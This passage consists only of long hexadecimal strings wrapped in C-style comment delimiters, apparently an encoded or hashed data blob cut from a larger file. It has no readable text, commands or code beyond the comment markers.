551997c046242d9bf99809900cda0e0774cfd480d5e70d58d4cdfb4d901e84527bfd09b2b37e54d944ac426e2cee767f27e5cecca5958f527c8f897bfd619af64e0f0a29300b930d13ca56098d9e20ff929119f202c54ca7dba297c8f52de7957a09e180273b0102297ec9eef4587d9c3f180aa3095dc26c9828bcee9f6874ad72f310c88090ae9c46f8e6049aba85b57c2d9e88f15fa677a7a633d9130f0d28928cea916e4e43c6a359e5c2c02a353d6cbc42c5c767da407448e771c4a65d335ed19219c16b2fd640ff78585f03aeb8502702c5202f32d7519860a3203913b62b71d8b180f8f2321d746f4ae36754aea102f2afd18253c0fd24d9bf4a5d8e5ad5a76d4f153926986b9c08fafad85705784560552b5a747ae826485d2471373bc3a1a0c19184ef18bd3d5fb6af1e5532ce2e13bb0447d158d7b24aa899a812b2e99acad9e1ac6134e01020b2fcbf2f31e902e4362a09565601a4d1692ef0d7192b5836beb1de7756321e0895d91152464b0e1af3c526d07a5c2ff4a3a9431595e2e7140086bfc88fceaab07181a64180e8a1f31a19bed8529faac2d891b9653a45ebf2e15c4cf4a95995f6c1e7b67f15ebc97082c7bacbc4feba89f38937bde0ef021660ca43c568e3c4875ce457dd0b9ba8376cba6b6fdda509c4a89bd46dcd76b974e02589d28cfba0178c*/
/*1e0389ff4d2d63e803a2507ae28f9c491426049dd5b5be707b5ab7900be2345a28c5ec61280fe5689c45bc2fd6a03ffc7763d7a9da2a6e3f7fd31d08be6ba6e972a8d435e72f0485a403984f3e722c1263fea42964e46d578c69654e655209a03983e3573a279abf26ca9e57b32b218626a1eed2c82388ab32e58547ac9b5cad1ccbf044ae9f33a5af9a3a8b65168028e47e048241820defc8fc67d6a1d5da208348c73c564a4e15ae99a42b217a117164ef8f29be2b4d29a9f0f81e3211690318ebc9c4d99cf7fca9bfd10473e3e7301b78b7b51ae57e0d8a74ee0b9ba22f9d405736b46dd9b907682419886117c33e6020cc1d95ae7b38adbc8485edb226965c80820e314c06fc0567a1ccb52c12d13321d58fa8a24be2b046485aac428f3b57b44cbcfef865de5c7f1117e9894296e98046eeeedb2cac6ecd7c21b5944705c1ddaff583f2b5779f0a2a3848ce9053f6d9819172fb3bd9bbe48fa97ed7012299833ff74975b02c7e49595805ad02083bf50779257c9b9221e72d22b8992803e0a7e0cd83a23dd922c3d0e1f0d7b89710efe448ccafc6f52ffdea151dff62c7c8fe8b77c7f28187d2046e6e04636b47ac5c2f1e9079766a07efb038767829c85169a14b49503a8cc4937d42e471b398c7d7dc5fd6ade980ecffd7ae45ce42caaff1915f9dc2b9a7fa44cf0fa30cbc41900e158e38c18e57182c66cfaa5b4fe21dd652a3439c0dc4a6163c17599de5bf519f3b0b6627d4f408b7e119236ff3ce1ff95ac78c62b1dfbc7ecc621d3f8e28d2d306f7324b8b8f5d3f1e67de808115df9c276f84fd4a4338442c647a379abf0743b1311c941417757b29aea0118792fb2738d73717810aaf36a482c6959abca3ecd0c53eb1eaab34683c197adc68fcc382631119e47414e93992ddacc1797545c25f5098e2f60eaa1ddafb11b01a9b9d5a2d6eb29a9067ce551a7f702c8bfd1bba5ed4b83c3c59816a29ed9890cccd8e253e1d48388073408dc617613c2203cda5709c8e02451ddccb7bc2ae45071471173fac42dcd11340c84e74485949771933a6cb679ddcc3cab011a4ce20589825ca4bedc58f23f482f2ea593bec4f804483a5c489c2c96ae216290f8eb83bf21b5aea3af62dd567f686249cb566834e9a153490a7426fac87fd913b0806248b651e6226a6ed1ef82acd73d8d087c25bca22a3138a2df28c9736575fa984efc7d8f6475eba65e291a39a24b469b286984c338045301b1816360012ae2520d20c0907ee0642c7366f9931df6d35a4404cf399760c5e9b1b6ef0f8c389e97bec3d5477d2508f7b9f51e72b71fcf4a42214f66524990f18e963898be960247b66ba05f1d8ab8ff1af580af73813c8a4a1f277c52e95183b07bdf863382e716cc4e484ea1c2c526e15a03a8d40bb3beee7468668920d63fa5d4220b1db453bcefe3c5b23a08bc1487ea66644e2146c4eeaa76c35a7de91160ecff400c2a8876de9cbdc7c5f4d00d95781e81a8ea5b38c835320599b1b78a7527c2b13af45fb2ecc9e4a97f0cba2abbe0e9bc780925826c7134d313eba407228361025aa60532bb83d3404b6d9b5c60a60525a5f5ccef633b679ac2589873755f841093723f7f1639ffd6d717deb59dbfd760f6792f8d5d563ddadde37e95368c62838a94b38851bb8d2f14acfe6b4d1c0c90d995b1fb9e20fe51bbc4e3b7b6bfa65e842bd36c81741b78ac6294128334749dfd2c19ea280c5ba65cdd2f6218adf6e3062f844a263144bea74a3278bdba66490266b6516ca47bfb2090cf65e0be9f61336e95de2fb0cbda651cb9a30ebe561e68ae124d9032a0e57ef22c12a8b58744215928c3deff877c337649af43478beab6d9de509c34292b53b3e35976fc5e92e43d7594d2d105abd03b36a112d33f7954be6c8faf3942f190bbb356ecf92abbad1635d398a977358f6fea1400c867c2fcfc38fbc7404282a8653e9c4dfa796c983f200dec7f4f02b89eafed88b6f83a8c66372fe0291ec0f80eff687a1224486c9298247320f1a22340a4bf4e09b00d26b822d2c9f62ffe1590e77f6d5db0188b02ff03ef3767d0c3dc87c5d17c7672760ebcec5f1af2592b6ac38b2ee3d9ae9db9594568beaa20b967feefc006e056ffc3642f73e2866c48954e3bad75bab02b474a3c20e6d5eb4e820debbc8d2a963e034996631f43dc39b3792c4777010a1a5cf19098994a59457841e1514a81bc4e0407f1c0161180793e568d9190a28b9e6662d65d395512e8e244db4b328bf66cb05e1e32aa4efc06bd48aea1d122e0c792789f4d44383d59f65aa02385c594a7df7b0deecf2930304855b0b2801d319961f3319930eb59e8aac2f9b393f602e8d8e9d72b256233d49a59d1e575e45a8f0f5fb9db39bfd46d3937ca05fcd63d33e0a8c0cf9a771e1efe8c963806bb4411862be67fba325739d85bb45dc2dd2240a2c97bd8ee593ea1123a7acef3ccab7ace2c445d96a8aaaa2fa8a59994acee82d1feb4ae168dd28e23a9c827d00f0810cf27bddf9132a179ef5fecb370df400b93f4e039cfccf9f7217c1e65facfab77abda083eab219246687cf2e0104f08be9da9facf3557782c696eabc60424642647ea505453a8726d2e6233cd38bd878f17f7daa837734f3a09fa94ad79ff0ab811e834b8e692773547f0947856af17114ad3711b747f672be024a5eeeef1e20df04b201015c4b1c5bd1a8d80ceac13db84913765e1640ef1eb8ce4e506f168a0cf70cd3834b07890129a5bfed3ac00cf67fe5cf74138c098125e78cebb566e03955754c4bd865f328ffea904f6589c8dd1bf5df7075*/
/*0b5c0a98411f95982eb0242ec3511c5ebf10edd8b7f03c1fbde47ae11cc7187c6080fa5bd77da1deb4f7c9f00da8453bb93b9844f6c62791ef17b3b479d946d622c5f8d9bd28fca41a6d97f0143ba5581299632b2ddb2623d908de086fd6aea75b7b2158c02866786cac24d81cd6485ff5b6c479b29d854bab434394cb0611d6fa8da920b0b885b906eb62d2fd8376300a73531c359f9b9455abc16b8d3a7d16d962dbb55ef44333ba8a91a22f17f44c9df69cd9b4fda726523ef89fcc4a7687d5f5519e49b5935203e8081da8cbdfd46bc48e45ba1a4795d321192041d52cc3c763a44bb9c2dfdcfd36e500bd4009c467d775c042ed20c1a2016f9e688cbf2ffc9208af70555d93cfb69538d8ee39de99d0f19ab8a1971bb1555ff74c000a608798e91578ba9904f08c24eef4dc06c4796ca3f9b646e698ec879f81b1f9c5c4c98f74bc41760e67e48564852a3e4bf1c38b2818fe64ddba8997870b1eab98c701075043724acbba2d3e87e30c58e6ef3f244c2b913c3b39f246e7b1e5f0b49efe7778cc0c914a3edb91af3063f3e1bb8cab5ee8161f5364a08a06dbd6182820f36f90ab6bd188c7f380e8b828b841f8a16c7e16db64562e6f847ba6fee10b3c6fc4480eef779cd2286525fccc459311a7ec284fabe385f60ff5441e945469e0b75625307c000c92a1c6c533f54bc6f0199ac9ea7abbe4604b97739daf99177a36b006bec4e2cef2db3e85f085b31c219afd30746ca912c2b2c6d217cf3bb5bb66dc815c91e4faf0ebc57a1e7d7e24ef5d11d76c196214bb3f8735af4e2cf67d716330ba1c6c7a4dee42e94b155bff82695db0270d96f237e407742176ec86519847adacd59494028d8df087deed7ef1262c6b5c9e5ae0d2e5f8564254e3bfbd2a37203fa28df11ed638d87b99756f1afd4461b8305bd6d879ce393d405e0c804df350e7db90a8034a1cbd793e65d1fa41053a8ae6fa837f56adfabcc848916af779d3afeab72b608c2d948128999768c9215ff3fa460ef90233a121d13129e8c6571815c3c5a41c7e377191bdea151738197c4bfd6ac4e01da12ee48857513721198cb5871a9b1df2ba734bb988f01902a159737d1aa487378a4d267b8d2336ae5d4b80e4e575daaf1300566852bbd499eca6ca8bbcf2922ddfe9164a3105c9717b90fa251ef0e3a64f59ad5602caf49af66d31ec9ce5ac930ba2e6f4bc4b5da5d763741f5336dee0b80a14de44ea8624eec1760c030abb1a46a00b279c4ad5351a2b452f9e7eec4d86c3e670dc083ad84d08893610cb314a6ab6541ac692da323062e4ba0eaad5d60090776cecc8d12e411e99de36fc48e192f3bf84e430b8d4dcda6d121e1c522a23454d595ebde0e5219a380fd7ae0e946349097bb71b6fac01ec50955b47dc935ce7799b754d3131648f99e8ba800932207147f087f8dd425bd1a243d2ece5b2595e5d34baf89ee9928925df522a5fa7b953d066f8320e437f854a464bdd7455cff6bb370ccabd0298ff086efa1d438863fe4501f60f34de1df697486aa4037b259527ff29075b25db486b414f4afd22098f8986b8cc471719e5e830e338370e6444830c02e127848d6e53a9596f3b4fe388ec4dacf428763e767c26b6461c0b6b96a41c48380fb2b790a785071da493dfc2db300797b259cfeddf58ac8e5a3ae3c2196fb8ea28678afe72ea4495b96b6fa20d8d8d8c26d844abbbbb9a81cb531e393f7b64b669adad4a8c2506eaaf95ded0e8236423a9efcbc73ceeaf6913467c68b3c1e8970d72ef01616b1010d0f47afed5fb57e6e4d6448e9afdbf9140ade4d56c1bf6bed4645f88c08808f8db1d2b77b12cf7c1059cbcaf7dd089f74d68392d1b698c441048c3345f93c44df1d5111d21503400fd860ef0b2c1aed6adec1674f274997b60a654df94db1b7d654beb033c17d6502eef8bc5c41cf883438e3b62413b54553ba3c8b2280d750abb0d3b31cf14b222f75bdc53ab29e38e177fe7c62315e23d09fdc6fb5f360148dcf3e0fa09e665c501b39891d27234fde7b708c376ac5d502594567eda43fb5ce6ae71d5b92c2f28b7a0548d2bf81584654857e6ea4ef63ed39b0b8e0cca6e1f27c6261a7c9a7dfd8fbd353abecd16ebd8a2ecdbd29d415dd10efbfcd0a5f76949d8e41ddc4ff8278e473e289db8abc7f7120cf3380770914355b5c7a9530849c58a7f5c324478b26c8f33e98f9ac96700ebfa9b0945586bd836217245abbdf1f921be723b91c2a317acc36e680e1f71e2fed94d31d21ba44fd436a82080c4bf426b2b1e0227bc5291de17373b9f6eac381f669f376d31f87944c3ea6bc01e143ba86df7368cf772b58981a110f523481fdd0990b2f7ec5c026f59a0bcff29f1105cac3d74371d728c483e490b952ea21900cee85ff84d2fa9cab4300f0a13cbff40edc22d49ec28f89d4ff423b961c48558f008ec5ad394e3f994400e20cb8de5efc23322f8459d56d8e5f629a1ae59afa792bbc15ffc087949ffa87fc15996c4fd619733220a4aa06298dd2c2453298883f3b95ad48981ae8a28f1d704d1e95e3f588c213a911d20ec9d9820fd988f54e0ae9fc80c555d3ba118a2cfe957c9d27d4e05d90fa316413780880c5119ad11acd838f6ea9235b071812684801cbe97d8f7e38896308e6ace130c90cb1511517327625f28811a34d3f477ba9066b15abbf87b02049887950c47b753eba73d840fda675f44e30f623f38bfd9f0d3318a3a5891d036754bae1265067500a929443b2051a29115ab297434e0353758a4f73e1dbbc228c3a7e72559e87172420e5d3a86ecc62cc799fd*/
/*b0fba82f1d3f6561e2a03a9333595859307ef0f7c9f9b9e3ea6b81c54e543940472e2d54fda8aa6f3c7087dd14c66e6c40baed96b5e2b53a722459a5135187e5614e474a8813a016725223f629235c109f1bd6b099fac93bc2d1494a29931cb6e87ab13781e397b2c60f249bd76c9da95e03f982accf170cd12bbfa5865052ea83b1438f566fd0fcd48c1075321e0c7c3fb8a1f754bcc585a4f21dd8676721a1e6af1b983d199f09b3ec841b1b727a7786c002d40620f7656871a95f54400cbb4575808bc046b6c863d984f58dc610269357286d3edb92040c131879c7aa1f14a970cf1e0379de43e0b0007a3632732d3f64802a6d3893ef26ae1e6d262baa1ceb8eaa8ac11b0d29ca3b6f93386adab00b91356b3473a155f995daa3d5a7d4c02110bb9866a3426242695411f320d664856bca90859da554ccb4bb782269bc351479851003ca2a3371fa32535eff93cf51789c067a2a9dceb6557d6680738c9192e74dc45ec03f27a226e5ae49614988857f484fac07f8bbcb88197c1c532052bb58b53a21569c79f3c0277be5f918002fd451813b58f46912f8490254397eb60231198eba4c5c120a42e267b6b5aff85f9c7dae6177c00c82b989c07f53a069872d3f8c7e24b63e5e2f1a55e95428749166ffbae647a23243cd84735f0e96077559aff2d65c29e60bbba8fbbacd0575184d8df4ae2c6e9b42c0cfbd7d8ceda23e6c590389fa744c58d4cd0bb0c4d3090123a16fc9179fc667a44939be7a87f8f2f04102eeec554ba4c07e7c9d2d3d333c3def370292fb3b7bb4d0324b2a53cdef47f5b0b25d264378fc349250fac467b0dd59c6ecd1fd14b686fd5914f4245aeae1c911e5fc07a08508df5c9fc20e988f53f5a350ae82912e89af2a9ff60799e9e4f28d2434e0ecaded73f469496771046691c98b9d378402aa468f14c4eaace2d5c9689fd13053ec1e6ce1fec1253013f3b3d3827d37cfaa4db1a8185f18c967a7b3e2ef7525e2c295023c0afe0d61b49e82b0b5d081e26adca20ce4c5882229885f1d3314e83aebaff1c016840149383bea1bd9878588770ef3175b594c3216da797a55780f4459bd03939876b97b7ac726558092c6a4d595357d6459441dca71f244f8bfb8b6bb7c99ca374a38d672eea01152e993de140d9d2a59fac873f86a0ff4971cd1dd3629f5c9d588b293ad2cbbf3f6026a798d2d780dd1a631ec70c5260e9461f084254f4505d1aa028090f12f9e8f87b1fe2f9e5e859f0898b0c016cf965144f7a9c281d76f8c92d42b38c5359fc9145122202c9d33ab3811099cf66368f2a42e67688753a2d8f90bde603fd4127738e0421b066e357e9e678023462ac631ca1849692ff3c1672c73ce92e7cad05823abe0f9a0cfb752b0b7a854f99d061f69150232ce35df6b904e9cd75207579b018bb8b246ffc5d397073486b8529ae2f0ce1616601e849938652b9fde063bb3398e3a948b2d55d4100d5ca4816085598f34dcb120b7a788c47c4e5e87d78fa7ce54911d45884c3724ebd6f26b8f39ca33bf2597196781fe01726d627693068fe36f13e6fbe94121b5d6db8c4abbee8ca5f659240ec582237d9cabb0147bc7cc4214868e1ba928341af30ca24badff8fbbcc7f11f89a0df67b23e7f2ec543ef8ed52416f5153f6ea8486a1607c5747603ec6de87a6a9cec3d1959f1ebc34005b231fc6a3b5164ed730179ed029fe28ff26c7e7b58c9fbe92495a85bd2e0c42975970b198eb4b931d7584723d700fc3e20e56b04bd1c27d7a04aabe3bd3d399a8b9919fcf26e34fdf47b90afa027f3975b740331906c7997ee9501af39ddde5b046286adde425057d8268028f6b0fe270679dbe31e4c4e1ab05bc7dd897e70d886955fa5b67c81a723a83eacdde4e8e44fdc29c35f25076f5ffea07af909cf159efc5372b609a39abd288edd4114ea6fb5e60d7b467539c7d400b5db0aaa5584ff593ea8facb10e9ced1a5872a72fde6ac94fb03c1adfbd21a5aa834335cbd9d30baffb3f6a7ece5caf3bebea50fb647cbaabf76d4dde331d5452ff352f0c55fa137692d109c94f7977ef5f5a2709d0d450be8d9a2f29524634a9c1a479648e53313a0aa9087b94a48c990dcc1a7c7e82f367909e93508340394a2be68fd7facaa87e0a2daca18bdde1a4d2f5d8e843e75b2d66ef26a72576ddb95d42019712dc660ef6cf823a86d01331f429dc18f3104de8a71bd5d66298e0681024e30fd337f7ff7e33d496a4c0a117e5cb48a7908713bbbbe60f44adb06fb481e01da52b165b71365b6469a0ca2e6c19e73d58bfe1be3ad807e4d708080162917c085153b8b86c7c27b7be7087dded0b3adf5e7c61a2390ffe993c0ca1cf7c46796532a1381b714930b5e895e68afd203c98378811bf60260a8ee7c2fafa6a387efee68fa6115698d9b67f80960d19438c91623d50f2e2994da0dc3afecc8b8816ff991d87eed1eec3c48093344129a8dca3e2bb58404f9de47275a0bc708ee7b96088498fe76467e269efb1566c4056887098c53c2082403c785e5cd1793f33d3dd0d6cc056fd4e24cec2e2d8a52358c34682676512da166f452b27a1298d6e39de33fda23a01f05a6256681575e0054aab9541eab413fe0303db80ce38d5d19c53c359dd8324eb2e335b1a16a9d92f4a3a17333f68c39c86df2fc3de5425345c575a22ab954795cd0fdc53a06d082de048e68f376f385079f7bb458ab5a5848d61802c13d9cd855527586c0549d3731a606ed2e7f757ba260db8ab682c37ea060acf005fe7844075a57692525e37726665483601aff5bb29ce919558a01f67*/
/*44ce1c15179d762b191a886e332267ebc7f7dbd97b715fd450389dde5ec008d9994391e8b85f66d9123bd26295255d04746885042b8bb8cc3fe7f03482ce285323b0343ae03d3f02a993757ef853bbeb3ecadaab9f222f56ff46a508c0a68003c846f302c018e00f2023141485536a9be17fcac2678b1f5b7a28aa83867d7577137d6b4a08d8fd5f8b196ecc9272c99c12deba4600e846e8853e6088f5344f18af9643f76d8e6f8a92a6ac93048d4a471ac2dcfc643f8c9ffe1652e851ea6f3c89dedc04d74b6de1e54a864b475658af2af970660ee5e53a663f1822c9c571722029bf6c332996c80079ceba205f143bfed263d3d4e392740c7ecb2bc6a5ad4b0f4923a849ede8b12844859574959dcec5b06fa419285a5c170dffd5df0a6ef0b17287bbf49bf7cb420d996e624ad49fc2f68b930e14db48c4fa58ddfb25fafd5b2740f688a4d10e84dda02f43c3053d9407a716b1635c9997fd98694e5a4db24606e31b6c04462fbd5bd7033a12477280fb6382bfee6f48200dcf5730ed581a9e84ad9b62c65678dc5af8da5f7c6584cbc88e9773fb289bc985892ad0e4beaab30a38b456284609a81b7e8dfe31a98352443ee0713b2374c0e3ed10375239b0724af2616ac377cf20cd6d4ada96bf91c330e2973a855c3dc56af3310cc21723b5b8b7aae7af20768fb6946555ac14bfca89ee66f12f23af6ac720488658f71382cbeaf7b1c85d7d1cc22c2688eeb51d1687fcec939843b51670da546600992321d2c3c921f03af5b4bd189049c7291be954cfec94f614e159acf30020884248a75c1b77ee4ba0201cb1086855dfedb3915f05652877c1acaba945642a8a8be57c18fccf5e474b2b0f4c452f5e1d6192579b2cd1743c25b4be88c46adcbac974b3fd86f7a74fddbaea7b9d019079e1e3bd25fefa8d3c74bae3341f83e1ec27af01af3beb1ab35c0e6f3dba5d72aed3344901b7af45aa788eaa48944b43c9fab4f2f50255157b3ce2ae1be3db6564f158942ffc25e04981d80c15e5c34aa6bb2acb889433c93a927e803104491a09912316ee269c0957ed04a7d63d7f05c64496e6b2d1f63fcb05124141dae797492355686d2bd437462eedc43e39dad95d2c1230a9d95773f855a40ea354c45333f50ff3936360194fdf122ea43514c147692775acc12537d917eef60a35221417343d57dc113df9a1b699704ba01a94225bb7009681eabbf545c71fb130489f866ec5b702caf6b56d3d47f48522f81b2a5920beb04cad8388f339f87f29dbebc6c2cfc79d2be8c28736ee5561b75843f91b225d561d75fddab94237f5d8b3f450940b3e8ae3a9e0e1e019def3499d94311dc4ba39b80d5b55c028839ae6a89485ef14264fd0337b16b81f7fa6dd51390f55aa347b2d070bf9e5a9bcd6edebbcc2173ab28692f0c7a15d40aa6523a3ac2a1bdaccb0140e256c2389931d30008ecbf2248012daf9c9f68eedca81b6874d78351f49fb2de642ce486f05dd2d26fbc7636b444459f9f2db1fab8afacf858806ed7625d56acb40213294c491fc8d47c94e067537cb65bb5532e436f255ceff89644cd9051933998e19c18525475cb70034f2ecbf140971b647297a0207efb171b1e34005e23cbd2857e4b6ee01908939512b803e1eb63a6e2b72f9efd098e061dafd77cc75d186a9b835e1da3b7177dd6c9faa614b24b8b6e39211b41c496ef4d72c49bbec828da6ed5b3f08ff5dd65865ea2acb3ed86de912effc12e9252453117e5503464425e3cb7f871108aa7974e15cc6945e524f8c32455dc3c10c1101dc0a8eeb4401822e1af6c09bb578d7d68f1e18223ee9c4880c6bfeec82a66425b14e4d0025e4d684e4efd87005c8520a932063dc86ed8257e0881e9fc9ee978a7f3cf5a225959620e1cd8e405c89b647a0eba13fb555103490a0ab05d35483120318445ec0312ca67695333120ad3a698df8bbf371ec8e09ef6f1c3c99c21e6cb8ff47eadd924f1e81b571a5c41a60d80e42fc2bda087a98bb3a114bfbfb488083db7ce994eb6f169a6f0fabc468b91cef5283bd0a38662c55a7107a0f675e625a3dbcfed70021cc1eb204d62d6ce5b2bc3ee39b7e43c7a0b4b1ee4a3832bab75f13b1e90e7edbf3bd8af38a072c0c23eb063c0878bd5945d6035f7a969fa9cdaf45e5ba9c3465e1fbf1d77bf21be0771bbbb47077c4ef0ca4e90710d21cf33a795f51786c07fb519427c4a8d385762f0b1cc9bdb44547632b0b2da111152fd6b008bc49011f429c42e2fb2716524a61557de8bdee573162df674dba9785e7620ee241863e7496725757f95712303eb04c42fa32224c767ece70b90bb752f7a1b4962038d495702c468aad5f056d62a80445f72e512fdeee8636c52b624746b0668775004327268e861307959cf655adfebe6587bd1a1191dbc2f67c40418d30fe87c44422d388433a5b120855473c49bcd7a1fd7e9d2c65e8e40e556d94a07a9d422d5c321df3bdae99710483cb9d6b274385806a67813f9801b9d52177ea5a06714efc7445ca2af2a6a892389dfee122a6152102a6f855299cdf0637f9115cec217f06298a8de564e64b204edab56513814406e0e90673efc0ef336aaccc47f83ef468a89a432fd38c9567e02ea9ec664ad3e3b4e54f2ad07f76b7ccd78e39322555a207b0bb32b770eda37db3879517f182c92c0eb1f569a869c01754f1b213445883b9ccb932994d79fcebf463f295cccade7dc6bbd23ef30623887ba9182e21bd0f9aa46d9182169b0132f1c60e61ecf2c714c924af44280b0112c399e5cd645701c69043edd4f07434ed4dd84ec24a*/
/*92233370037b0443e9c8f42f15e1f87fda5480d75d17ef871fc2ecfd5885eebafd7746eee418c9eb40941bb6f589ef975bac174780345660f2fbfbb27d400b913d890625b8b244de1956bba84d26f9fdda8051a2722c598a6e4341691f27ed3a7fee1e5da64fe93cf064ba489bffa775cae2b14f2b35c88215f88c35c7c282c06d93afa39b610b1dc05e02265850a069b3e7b32ccd660953e8a01cb50193af07796389e50245e010d124dc8a49e9d802ef8f70551a06ce9e91165ad025a851e8bdb610b099b01933bb5d46124d0960f9f91d0932c581f516fe80791e33db14a89db601c68bffe92ccd02c1cd1a0019756665b46be8f1a0089c3e1c838957853322bd9a63df48e191ded079613b893992cde952acb2b1bf4cda6d1e2d78475111ffb99c752e5a4bd4261324d7bd142ebc1914f9d6920447c1cf2d608bd79d6b1b6cff6ceae3173193beb7dae645f88beb390313a9415d265faf5dcb178225e28f45b75e01d9dbde0c97aab66d3e03f29433d7a488cb070189ffd02731ed973381549cd87c4b0c3e163b513228c5998183e96c0bc7ee2249bd1b13d5504fa7dae621cef043ef2a35d16de5d742d57352551dee0f8a2b78806be27051f131851feac5c5d584faa29eb018d7539cf4e1660624d7efb39af73432abdc18d33259562136e1025199a6c82980ff65fa3117516a51e0091fe76e02ba0986381307415a93c89392b92e300a4f790bc367a56330ae898dfc2988540fdbdd9c30f4b2116e1382d2a571afa4bacc720ee65a5963625898f150a54b65dae7b2bf7c0aa43a205cece2c33edc60a322b38adbed4f58767f27913f1a4747292527dc003d6969bb9b37e120913633d281263cb4b405718b6870e544237b72f58d0c81eabba068050cd41f2f53d2c4b6bcbb5d4266fadd69a9b908fd5b3269ef774a264dc4b01fa76d8e5b699b39ca5d72154a3476da6edf2f727d78c213419ed181e05dd9b885ba655625e2c74775b3c4720c70669fa3b6c77fe70ef2dd20359fe9a591f54d29be4f58cd73f7e4715c57724159ec482749bfc7717b9d9e918c62390e46755319524805affdb584c686e49254a2b6577db0dc5b4eeb5565d454477c829cd5d204059f18738aab7fc7b365fd76099629747b9760e8531f15afdc6914b4423b7658ab3ec1c999fe2cc976bae64027e1e03466545493faa6d53af7c20a4cbdef6438ab0ccfb552f12c382e130355b251f14cd80367b4ebaa011a06ebb2fcc42a04bdd566e5052cf38ebfecaf3f763183b26b5abe313c8fffbccda40741c9b002c86e006a21981abf6dfdd6d0d7c99d99041c81839d0b2a7a27993704b46dd1246c4323d55a6b45a7a49c8460071f010040239c13cc4a47a12f96f4a0a858d6c5483fbf73959556b28c6016f8c8edbcf70397adec9e5a567187f71353693f16fe4e68d436a2f84ea03364f535ec361e78883feb1278e91abbb58b6c8ebac4017aff1b66d9d0f1bbec1f92f722b3da83263da6a1bf72585b37a392784e63f4cbb2bb50a50497accaa6cf229b205ee86dcf33ad7d18fb44c484eed5053aaa6c7e2b64912a49a9e0fa4807a1756ded33c6f6e7a3259065422f809bd45bb87ca7b0d259f7b6348ffe7cc664cfd4b5201ee363ad1a49ef1046fd02ad9cfa9cac2fd2290016ca8f0f342646738c7ff0d1611193fe7b9472d28b8dcdb041108a1151727305ff252ee8ca0c1a18ce289184730332019b396ca5df8dbde67ee589a62f1d0392be7dd1de7b5e2610c8a9303da5cb90412089afe2ec945bfffeda08dd5b5e90bf5c999843323b377c510ba461f7a11342c3d2ced90296a936177ab92862fdc5ac97c3fee8370ba4c4e3ac20bf1a8f4702d3ad2f4b5d807ec6634130b87b34479b2f69c3997f39a8ddb3f00578eabf8d95c99e390f2f0060a1c8163014296c8c9f443038aaa28b5117be78e23008a8d355ccecc63b47afe13033e3dca81c520f1126c9ee7af4c6fb6377e03e53ce77d85858d576fa90e2c43b0567b06a05ddde9d7d3408833c7d318c71791eed4955c77eaacf6a0e1b65ff355b301cb4cd0fd7075daeb76345210282ec13081767273c3cb2ef7acd8c3211c24aa6b86306cc26c23c7c1fcbbe127cb24c4be72de28fbd375f0b89f9a6721f8bffcd2a0a8c82a1bcabea84b37641c75e5c0bf36471a39c2986a9c9c5ecf4fa4e08f292e05c301c90a7ac78909f39b0149081498d94dcba00274603e940eb88f8e2327bd1a5fd5157adf379cdf57bc3c6ee3c866bce9ce654cfea32039d3ecd77c9c2e57c46178c5a54d30c09ffb373a740009ff1d635e14cd50767e18fcb766c507bfeb5e5fcfadad05c63afe88181247f568db493a6104f456cf79d134f10b6a4eddce9081931e2e8d517fc43781c24d001d87ac7a33bf66feeda878f654b3e158833e27bc742bbde73721df49a1f1ac44cb86d0dfd988cff8ff4ac4c8b46dab79d61d10cd32dd1e9b15e189e291938695aeff3c1c413226dffa891a3725d2dd3f6358a32a8ba6bc84c864db5cc7c03cb6c59baa752f73601da5add5ae5b0067563679ab93cebcb7918bf23bd6027d9e47f7483bc8857bb2e17026ce01d15bbb3eb24af2b0860da99a74e27ebd7384b8402b33cc0621874d97bcac963e1a812bef78300d92cab9f672599aa68bb109431b8e6f2b9abfef12e3ac2007219b2a36a56853b25dad8da64a9cec46b857d32f5864a69c69bc32e23f44eb8ed98ffb47e261cfdc3f99d19571b62a0d9e5105b16f54074a77ae7db39f359760ea0fa13057e0a706c7cbfeca9ab4e6625989e009fe5b5ffcaf6d1ca6f13f4*/
/*a1963ebdbdf0199fe6b5f2c45ed3e4328325c45943530ccac297fd1c3c203a686471fa1219c29ab26ea07857514bc0c3c2131c1ef33526acdb669f845f1b376c36ae94d03d78cb247b077881bb824bfa1d6d1e1089ffe7a7eb4ce179814dbaeed32428086b52a88b0d1e2ff5603f82eebbc2d76789d308dfa7dd2929ed654de6ad1b0a322a0a1fb7666e11503fd710f888a55c80f6194479411c3f7842374e06e436dec8a42304f45e11beec7b5a304494fdca06f273329474e0163528ecb6b10ceafbf2abad99a87714746bd452fadc6f87aa6126f5511a5d3d1ca0e6f258aeae344670ac4bdfc74567e6f48dd002e26b5ba4f65bc9096d1ba3cb642f03c491c05d4186e567ce67068032250c59c09db47fd689e8933b73b331688129b85211007d7dd8da0cd05375373bb040b659e98c934781193d6ecd816d499da474550f642a6607efab451a11ff5642691b50bc826b5ef5cc5898051abc9229569ff2017aee798349f9647e086715840a7f7bad5cb423832abec3ccfd248d2334bee3a4c04f711e09087380e7f058ac9322d20abda2625b06f751909ac3b1e0b443905cb8deb8fd4e5bb802e0e5845371e3aaf68dbda8dd1d3034a97ee11e4522f01af6ae6e911350c5820075ccc040fa7b53ac2a198e0e57e313e27a9a6fdc676748281486da1fc755f4de630ec2c698d8401a2afcbac595c98ffa1e6174eec1bf501ae0e29555e1cfb1940e2fa23cdf7284301acc311aae9204ea886da75ebe083a401e25cf738149432d5a619eec1cd955802134859229d3ad598af9ee464b017a57f9ecc0952a8079c07866358c2f09a5abe164b1bc935c824cc1df5d741c9cd44dcbe4031c343e2c466371ca00b48fa08793b9657e09b17aa2871c4af6ed9b4f00dabebae69cc953fd572a11d50c0360a372347da4accd3abba864be8cf783a898ad7736e9ea3e81a8a965609487c86b43463a647b0777812ef30cfb8b49a8c32ce12eace830e8877ba65fe25cf777110e4727ab3bc6bf9ca76d236b7fff25678a9868a28779dff3b0a1f948536e2f88c25f2535036706f9f3cdb333136f9076087299711d2c8b7b102b743bd8febc474e591d20073dc8085f69fd0a27536ab18d2f3643776aca13fd6bdb8a1b32543acf6ebe7787fa9c2d1cd5312fd1255cf02431f1c286872f97e7c0d94a872136661668520994c41e000144997ea0999839d74a25fc7686d9db68b69cc5149ef8c7c138117e10451b5876c03e502494a61f7517793d60de57835e0bf8a9f122067da8fd937cebe233572abcad6869c8913462aa6aa7283e97d3a01ef72ee7104e05d213905f734279e7d3dfd422209e2fa77d83bef402d00cfe5ad0f3b520f51e7ce82f43629a628c564f8a9d8eb23bf641d914245a48591d105e441c793bf5cd729c5b3edf533e1ccc49e9a66ca9758007c1609548b0b23978ad3476fb26ac784cca1764249bd0187460bf7f9cf67d31e8e50449e39876f6b4bff32c1b3575bc0ef0afd0a714df043f195e56b1fe80611a131bdcba0aa6fb3c889457a6bf1e765fcdc6064430c3be47f7ac97dd2816fa40f3c9e13c59eaa576